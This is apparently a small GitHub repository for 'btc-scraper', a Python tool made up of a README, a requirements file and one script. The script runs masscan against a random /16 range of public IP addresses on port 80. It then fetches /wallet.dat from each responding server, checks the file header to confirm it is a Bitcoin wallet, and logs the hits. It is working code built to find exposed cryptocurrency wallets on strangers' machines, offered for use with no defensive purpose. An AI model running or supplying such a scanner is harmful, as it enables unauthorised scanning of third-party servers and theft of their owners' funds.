├── requirements.txt ├── README.md └── btcscraper-v2.py /requirements.txt: -------------------------------------------------------------------------------- 1 | termcolor -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # btc-scraper 2 | A scraper which uses masscan and searches for webservers with bitcoin wallet.dat files in their root directory. 3 | -------------------------------------------------------------------------------- /btcscraper-v2.py: -------------------------------------------------------------------------------- 1 | # @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@ 2 | # @@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ 3 | # @@! @@@ @@! !@@ !@@ !@@ @@! @@@ @@! @@@ @@! @@@ @@! @@! @@@ 4 | # !@ @!@ !@! !@! !@! !@! !@! @!@ !@! @!@ !@! @!@ !@! !@! @!@ 5 | # @!@!@!@ @!! !@! @!@!@!@!@ !!@@!! !@! @!@!!@! @!@!@!@! @!@@!@! @!!!:! @!@!!@! 6 | # !!!@!!!! !!! !!! !!!@!@!!! !!@!!! !!! !!@!@! !!!@!!!! !!@!!! !!!!!: !!@!@! 7 | # !!: !!! !!: :!! !:! :!! !!: :!! !!: !!! !!: !!: !!: :!! 8 | # :!: !:! :!: :!: !:! :!: :!: !:! :!: !:! :!: :!: :!: !:! 9 | # :: :::: :: ::: ::: :::: :: ::: ::: :: ::: :: ::: :: :: :::: :: ::: 10 | # :: : :: : :: :: : :: : : :: :: : : : : : : : : : :: :: : : : 11 | # btc-scraper v2.0 made by http://twitter.com/notc0n 12 | 13 | import subprocess 14 | import sys 15 | import requests 16 | import traceback 17 | import logging 18 | import time 19 | from termcolor import colored 20 | import random 21 | 22 | def fetchwallet(url): 23 | try: 24 | r = requests.get(url) 25 | except: 26 | return False 27 | 28 | c = r.content 29 | i = 0 30 | fileheader = '' 31 | 32 | for b in c: 33 | i = i + 1 34 | if (i > 14): 35 | break 36 | 37 | fileheader = fileheader + ' ' + hex(b) 38 | #print(hex(b)) 39 | 40 | #print(fileheader[1:]) 41 | 42 | if r.status_code == 404: 43 | print(colored('[FAIL] no wallet.dat found at ' + url, 'red')) 44 | return False 45 | 46 | if (fileheader[1:] == '0x0 0x0 0x0 0x0 0x1 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x62 0x31'): 47 | print(colored('[SUCCESS] valid wallet.dat found at ' + url, 'green')) 48 | 49 | #f = open('btc-scraper.log', 'wb') 50 | #f.write('[SUCCESS] valid wallet.dat found at ' + url + '\n') 51 | #f.close() 52 | 53 | return True 54 | 55 | else: 56 | print(colored('[FAIL] not a valid wallet.dat file at ' + url, 'red')) 57 | return False 58 | 59 | print(colored('@@@@@@@ @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@ ', 'blue')) 60 | print(colored('@@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ ', 'blue')) 61 | print(colored('@@! @@@ @@! !@@ !@@ !@@ @@! @@@ @@! @@@ @@! @@@ @@! @@! @@@ ', 'blue')) 62 | print(colored('!@ @!@ !@! !@! !@! !@! !@! @!@ !@! @!@ !@! @!@ !@! !@! @!@ ', 'blue')) 63 | print(colored(' @!@!@!@ @!! !@! @!@!@!@!@ !!@@!! !@! @!@!!@! @!@!@!@! @!@@!@! @!!!:! @!@!!@! ', 'blue')) 64 | print(colored('!!!@!!!! !!! !!! !!!@!@!!! !!@!!! !!! !!@!@! !!!@!!!! !!@!!! !!!!!: !!@!@! ', 'blue')) 65 | print(colored('!!: !!! !!: :!! !:! :!! !!: :!! !!: !!! !!: !!: !!: :!! ', 'blue')) 66 | print(colored(':!: !:! :!: :!: !:! :!: :!: !:! :!: !:! :!: :!: :!: !:! ', 'blue')) 67 | print(colored(' :: :::: :: ::: ::: :::: :: ::: ::: :: ::: :: ::: :: :: :::: :: ::: ', 'blue')) 68 | print(colored(':: : :: : :: :: : :: : : :: :: : : : : : : : : : :: :: : : : ', 'blue')) 69 | print(colored('btc-scraper v2.0 made by http://twitter.com/notc0n', 'blue')) 70 | #172.217.0.0/16 71 | process = subprocess.Popen('/usr/bin/masscan ' + str(random.randint(0,254)) + '.' + str(random.randint(0,254)) + '.0.0/16 -p 80 --randomize-hosts --exclude 255.255.255.255', shell=True , stdout=subprocess.PIPE) 72 | for line in process.stdout: 73 | try: 74 | line = line.decode("utf-8") 75 | ip = line.split(' ')[5] 76 | url = 'http://' + ip + '/wallet.dat' 77 | 78 | print(colored('[INFO] Trying ' + url + '...', 'yellow')) 79 | 80 | file_object = open('btc-scraper.log', 'a') 81 | file_object.write('Trying... ' + url + '\n') 82 | file_object.close() 83 | #time.sleep(0.5) 84 | 85 | if (fetchwallet(url)): 86 | file_object = open('btc-scraper.log', 'a') 87 | file_object.write('[SUCCESS] valid wallet.dat found at ' + url + '\n') 88 | file_object.close() 89 | 90 | except Exception as e: 91 | logging.error(traceback.format_exc()) 92 | 93 | break --------------------------------------------------------------------------------